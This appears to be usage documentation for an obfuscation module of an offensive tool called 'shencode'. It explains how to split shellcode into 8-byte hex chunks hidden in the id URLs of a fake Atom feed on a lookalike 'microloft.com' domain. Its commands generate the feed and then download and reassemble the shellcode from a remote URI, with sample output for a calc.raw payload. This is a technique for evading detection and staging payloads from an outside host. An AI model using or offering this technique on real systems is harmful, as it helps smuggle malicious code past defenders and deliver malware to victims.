Feed Obfuscater
Description
With the feed obfuscater, the shellcode is split and disguised as a feed in an XML file. The code is appended to the article.id in chunks of 8 bytes each:
<entry>
<title type="html">Title 1</title>
<link href="https://www.microloft.com/01/02/title1" rel="alternate" type="text/html" title="Title 1"/>
<published>2024-12-22 12:43:09.681481</published>
<updated>2024-12-22 12:43:09.681481</updated>
<id>https://www.microloft.com/554889e54883ec40</id>
</entry>
<entry>
<title type="html">Title 2</title>
<link href="https://www.microloft.com/02/02/title2" rel="alternate" type="text/html" title="Title 1"/>
<published>2024-12-22 12:43:09.681481</published>
<updated>2024-12-22 12:43:09.681481</updated>
<id>https://www.microloft.com/4831c0488945f848</id>
</entry>
The code can also be reassembled by passing the parameters --reassemble and --uri. The feed is then downloaded and processed accordingly.
Command
shencode obfuscate feed [-h] [-i INPUT] [-o OUTPUT] [-r] [-u URI]
options:
-h, --help show this help message and exit
-i, --input Input file for feed encoding
-o, --output Output file for feed encoding
additional:
-r, --reassemble Reassemble fake feed to Shellcode
-u, --uri URI to fake feed
Generate Fake Feed
shencode feed --input shellcode.raw --output feed.xml
Reassemble Shellcode from Fake Feed
shencode feed --output shellcode.raw --reassemble --uri https://www.site.com/feed.xml
Example
shencode feed -i calc.raw -o feed.xml
[+] [OBF-RSS] File exists
[i] [OBF-RSS] File: dev\calc.raw
[i] [OBF-RSS] Hash: 7c1bb19fe6606cfe29e750326db2972c4743e623
[+] [OBF-RSS] File exists
[i] [OBF-RSS] File: dev\feed.xml
[i] [OBF-RSS] Hash: 17d3ec2aeb31dad148d4547a1ee8c2edb8846f4b